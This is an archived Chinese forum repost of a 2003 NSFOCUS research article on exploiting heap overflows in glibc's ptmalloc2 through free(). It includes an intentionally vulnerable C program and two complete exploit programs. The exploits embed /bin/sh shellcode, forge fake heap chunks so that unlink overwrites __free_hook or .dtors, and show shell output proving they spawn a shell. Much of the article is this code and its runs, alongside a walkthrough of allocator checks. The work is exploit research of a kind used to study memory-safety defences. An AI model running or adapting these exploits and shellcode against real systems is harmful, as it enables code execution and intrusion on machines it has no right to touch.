邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-9-11 04:21

[转载]ptmalloc2的堆溢出利用初探

信息来源: backend

ptmalloc2的堆溢出利用初探


By backend at nsfocus.com
Date: 2003-09-16


★ 目录

  起因
  原因
  分析
  突破
  代码
  例外
  结束
  参考


★ 起因

先看一下本文的漏洞程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foo(char *s1,char *s2)
{
      strcpy(s1,s2);
      printf("input:%s\r\n",s1);
      return 0;
}

main(int argc,char **argv)
{
      char *p1;
      char *p2;

      if(argc<2)
      {
           printf("Usage:%s <string>\n",argv[0]);
           exit(0);
      }
      if(strlen(argv[1])>100-1)
      {
           printf("ERROR:too long\n");
           exit(0);
      }
      p1=(char *)malloc(20);
      p2=(char *)malloc(100);
      memset(p1,0,20);
      memset(p2,0,100);
      strcpy(p2,argv[1]);
      foo(p1,p2);
      free(p1);
      free(p2);
      printf("END.\n");
      exit(0);
}

$ gcc -o heapvul heapvul.c

对于旧版本的glibc库,代码采用的是Doug Lea的malloc实现,因此攻击是非常简单的。
根据warning3在2001年初发表的《一种新的Heap区溢出技术分析》
([url]http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847[/url]),很容
易就能写出以下攻击代码:

/* Compile: gcc -o ex1 ex1.c */

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK    0x40163700
#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunk[16];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  /* 伪造一个块结构 */
  ptr = (unsigned int *) fake_chunk;
  *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  /* 设置长度为-4,这个值应当是4的倍数 */
  *ptr++ = 0xfffffffc;
  *ptr++ = __FREE_HOOK - 12 ;
  *ptr++ = codeaddr;

  bzero(buf, 40);
  memset (buf, &#39;A&#39;, 16); /* 填充无用数据 */
  memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat72 nsfocus]$ uname -a
Linux nsfocus 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
gcc -o ex1 ex1.c
[backend@redhat72 nsfocus]$ ./ex1
input:AAAAAAAAAAAAAAAAD3"??@??
sh-2.05$

但是上面这段代码在Red Hat 8系统上不能成功:

[backend@redhat8 nsfocus]$ gcc -o ex1 ex1.c
input:AAAAAAAAAAAAAAAAD3"?癮B??
Segmentation fault (core dumped)


★ 原因

这是因为在新版本的glibc库中堆内存管理采用了Wolfram Gloger的ptmalloc/ptmalloc2
代码。ptmalloc2代码是从Doug Lea的代码移植过来的,主要目的是增加对多线程(尤其
是SMP系统)环境的支持,同时进一步优化了内存分配、回收的算法。

由于在ptmalloc2中引入了fastbins机制,malloc()/free()溢出在某些条件下会受到更
多的限制,虽然作者的本意并不是针对溢出攻击。由于fastbins是单向链表数组,每一
个fastbin是一个单向链表,满足fastbins条件的内存块回收时将被放入相应的fastbin
链表中,以便在以后的
内存申请时能更快地再被分配出去,从而提高性能。因此要利用ptmalloc2的堆溢出(指
free()调用,以下同),首先必须绕过fastbins机制。

除此之外,free()的实现代码与旧版本的也有不同,fake_chunks的创建和利用也必须有
所改变。下面就开始针对源代码中free()的各种检查条件来探索。


注意!!!在继续阅读以下内容之前,请确保你已经了解warning3的《一种新的Heap区
溢出技术分析》中所涉及的知识,尤其是chunk的结构和unlink的操作,否则你也许会
觉得有点晕头转向。;)


★ 分析

要达到利用free()函数调用来攻击的目的,需要满足以下条件:

1、通过某些漏洞(例如堆溢出)来覆盖将要被free()的chunk
2、在被覆盖chunk的位置上构造fake_chunk
3、fake_chunk要确保在free()函数调用过程中运行unlink宏
4、unlink宏所操作的内存将修改程序的流程

在上面的heapvul.c程序中,由于p1指向的是malloc(40)内存,这块内存在free()回收
时由于满足fastbins条件而被直接放入某个fastbin链表中:

   /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
   */

   if ((unsigned long)(size) <= (unsigned long)(av->max_fast)   // 满足fastbins条件

#if TRIM_FASTBINS
      /*
        If TRIM_FASTBINS set, don&#39;t place chunks
        bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    set_fastchunks(av);
    fb = &(av->fastbins[fastbin_index(size)]);            // 此处三行代码将内存块插入相应fastbin链表
    p->fd = *fb;
    *fb = p;
   }

而因为p1的chunk结构头部我们无法控制,所以free(p1)是利用不了了。
那么free(p2)呢???


★ 突破

由于通过利用p1指向的内存块过小且没有边界检查,我们能够覆盖(控制)p2所指向内
存块的chunk结构头部,也就是说free(p2)时的操作将依赖于覆盖内容,即满足了第1、
2个条件。因此我们只要精心构造fake_chunk,就完全有可能满足第3、4个条件,从而
使攻击成功。

分析_int_free()(free()的真正实现代码):

A)(代码见上面,)使p2不满足fastbins条件

  即:fake_chunk->size > 72(av->max_fast缺省值)                <--- A

B) else if (!chunk_is_mmapped(p)) {
    nextchunk = chunk_at_offset(p, size);
    nextsize = chunksize(nextchunk);
    assert(nextsize > 0);

  即:fake_chunk->size & IS_MMAPPED == 0 (#define IS_MMAPPED 0x2)   <--- B1
    (fake_chunk+size)->size > 0                          <--- B2

C) 接下来:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(p, bck, fwd);                          /* #1 */
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);         <--- @_@

      /* consolidate forward */
      if (!nextinuse) {
       unlink(nextchunk, bck, fwd);                    /* #2 */
       size += nextsize;
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

      /*
       Place the chunk in unsorted chunk list. Chunks are
       not placed into regular bins until after they have
       been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      p->bk = bck;                                /* #3 */
      p->fd = fwd;
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

可以看到有两个地方调用了unlink。第一个unlink(#1)的条件是前一内存块未被使
用,由于PREV_INUSE就在当前内存块的size中,似乎最容易控制,但由于后面还有一段
代码(#3),这段代码还会再一次修改已经被我们(通过unlink操作)改写的内存(
注:在这里主要是shellcode的入口会被bck覆盖)。因此我们把目标转向第二个unlink
(#2),它要求满足两个条件:

  nextchunk不是top块(堆边界),这个绝大多数情况下都符合;

  下一个chunk块未被使用,即再下一chunk块的PREV_INUSE位为0。         <-- C

至此,如果上述条件都能满足,则将调用到unlink,从而修改我们指定的内存(注意,
地址由下一个chunk块的fd/bk指针决定!)。
下面该做的就是一步步地确定如何构造各个fake_chunk了:

首先,所有的fake_chunk都不能含有零字符,否则会遇到字符串截断问题。同时所有
fake_chunk的IS_MMAPPED位均为零。(满足条件B1)

(fake_chunk1即free(p2)时首先检查的chunk,其作用是让_int_free()计算出
fake_chunk2的位置。)
第一,fake_chunk1->pre_size(PSZ1),暂时没有要求(当然最好对齐)。
第二,fake_chunk1->size(SZ1)要大于72(max_fast);同时PREV_INUSE位置1,以
   使#1的unlink不被触发(这样我们就不用考虑PSZ2了;))。
第三,fake_chunk1->fd(FD1),暂时没有要求(当然最好对齐)。
第四,fake_chunk1->bk(BK1),同FD1。

(fake_chunk2的作用至关重要,它将使unlink“合法”地释放自己,即修改内存!)
第五,fake_chunk2->pre_size(PSZ2),同PSZ1。
第六,fake_chunk2->size(SZ2),要求SZ>0且(fake_chunk2+SZ2)->size & PREV_SIZE
   为零。
第七,fake_chunk2->fd(FD2),指向要修改内存的地址-12。
第八,fake_chunk2->bk(BK2),指向shellcode。

接着,我们要进一步确定各个字段的数值:

对于PSZ1和PSZ2,取值如:0x11223344

对于SZ1,由于fake_chunk2的定位依赖于SZ1,
  如果取正值,会很大(因为各字节不能为零),可以取适当值使fake_chunk1+SZ1
位于堆栈的环境变量中,然后把fake_chunk2通过环境变量输出。这样有一个缺点是不
容易定位,因为不能精确定位fake_chunk1地址,只能通过猜测。
  如果取负值呢???我们可以回过头来再看看_int_free()的代码,可以惊奇地发
现居然是允许的!!!呵呵,这样就好办了。我们可以把fake_chunk2放到fake_chunk1
前面!SZ1取值0xfffffff0(-16)。(满足条件A)

对于FD1和BK1,取值如:0x08080808

对于SZ2,乍看之下可以任意取值,只要(fake_chunk2+SZ2)->size & PREV_SIZE为零即
可(偶当时调试时主要就卡在这里),其实不然。在@_@处的代码是读内存操作,如果
内存页面不存在,会导致缺页异常。因此我决定让fake_chunk2+SZ2指向一个必然存在
内存页表的空间--用户堆栈的最高一页(即0xbffff000-0xbfffffff),即SZ取值
(0xbffff800 - bss_addr)。(满足条件B2和条件C)

对于FD2,由于可以利用的内存地址很多,我这里选择的是静态确定的.dtors段,即FD
取值(dtors_addr + 4 - 12)。

对于BD2,用环境变量输出shellcode是最容易确定地址的方法之一。

现在,我们可以画出伪造前后的内存分布示意图了:

+-> 块1                        +-> 块2              
|                            |
+----------------+------------------------+----------------------------+
|prev_size| size |      16bytes      |prev_size2| size2 |任意数据
+----------------+------------------------+----------------------------+


+----------------+------------------------+----------------------------+
|prev_size| size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 |
+----------------+------------------------+----------------------------+
            |                |
            +-> fake_chunk2       +-> fake_chunk1


★ 溢出代码

/* Concept-of-proof exploit for free() @ Wolfram Gloger&#39;s ptmalloc2
*
*  By backend at nsfocus.com ([url]http://www.nsfocus.com[/url])
*  Date: 2003-09-15
*
*  Compile: gcc -o ex2 ex2.c -lbfd
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>

#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define bfd_error(s)   { bfd_perror(s); exit(-1); }

unsigned int bss_addr, dtors_addr;

void GetBfdInfo ()
{
      bfd              *abfd;
      asection      *asec;

      bfd_init ();

      abfd = bfd_openr (VULPROG, NULL);
      if (!abfd) bfd_error("openr");

      if (!bfd_check_format (abfd, bfd_object))
           bfd_error("object format");

      asec = bfd_get_section_by_name (abfd, ".bss");
      if (!asec) bfd_error(".bss section");
      bss_addr = (unsigned int)(asec->vma);

      asec = bfd_get_section_by_name (abfd, ".dtors");
      if (!asec) bfd_error(".dtors section");
      dtors_addr = (unsigned int)(asec->vma);

      bfd_close (abfd);
}

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunks[40];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  GetBfdInfo ();

  bzero(fake_chunks, 40)
  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;   /* garbage */
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;   /* garbage */
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
  /* garbage
  *ptr++ = 0x08080808;
  *ptr++ = 0x08080808;
  */
  
  bzero(buf, 40);
  memcpy (buf, fake_chunks, sizeof (fake_chunks));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd
[backend@redhat8 nsfocus]$ ./ex2
input:D3"`ǜ焟3"?
END.
sh-2.05b$


★ 例外

  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;

上面给出的代码有几个可能导致失败的地方--

bbs_addr!!!
dtors_addr!!!
codeaddr!!!

其中前两个值是编译后静态(直接从文件头读取),而codeaddr对于固定系统来说也是固定不变的。
当这三个地址值中只要在计算结果后存在一个00(即零字符),就会导致字符串拷贝截断问题!!!

在我的RH8测试机上,未加memset(p2,0,100)时:
bss_addr at: 0x8049734
dtors_addr at 0x80496f8
fake_chunks len: 24
溢出成功。

当加上memset(p2,0,100)时:
bss_addr at: 0x8049744
dtors_addr at 0x8049708
fake_chunks len: 8
溢出失败!

看到了吗?dtors_addr的最低字节为08,dtors_addr + 4 - 12 = 0x8049700,所以导致
fake_chunks的字符串长度只有8了!!!

验证:修改任意无关指令(例如删除prinf()、增加printf())。例如在我的测试机上把
printf("END.\n");
改为(或删除也行):
printf("END.");
printf("\n");
后,重编译运行结果:
bss_addr at: 0x8049754
dtors_addr at 0x8049718
fake_chunks len: 24
input:D3"琡?緿3"?
END.
sh-2.05b$

如果无法修改源代码的呢?也还有很多种可选方案,例如修改GOT、修改函数指针、修改
EBP、修改函数返回地址,等等。当然难度可能就不一定一样了。


★ 结束语

上面简单介绍了在新版本glibc下如何通过free()调用来利用堆溢出。可以看到由于引
入了fastbins机制,malloc/free等调用会随具体情况不同而可能略有差异。例如,
free()一块large chunk与一块small chunk是不一样的,即使都是small chunk,还有
是否属于fastbins之分,等等。而对于exploit爱好者,设计构造fake_chunks也很有
乐趣。如何在把堆放到栈中?;)如何伪造chunk结构?覆盖哪些地址?如何调试?
…………这些问题就留给感兴趣的读者吧。

在即将写完这篇东东之际,发现bkbll在2003年9月初也发表了一篇研究相同问题的文章
《一种小堆(heap)溢出的另类利用方法》
([url]http://www.nsfocus.net/index.php?act=sec_doc&do=view&doc_id=867[/url])。不妨对
照着研究,也许会有新的发现。



★ 参考文献

[1] warning3, <<一种新的Heap区溢出技术分析>>
   [url]http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847[/url]

[2] Doug Lea, <<A Memory Allocator>>
   [url]http://gee.cs.oswego.edu/dl/html/malloc.html[/url]

[3] Wolfram Gloger, ptmalloc2 source code
   [url]http://www.malloc.de/malloc/ptmalloc.tar.gz[/url]

页: [1]
© 1999-2008 EvilOctal Security Team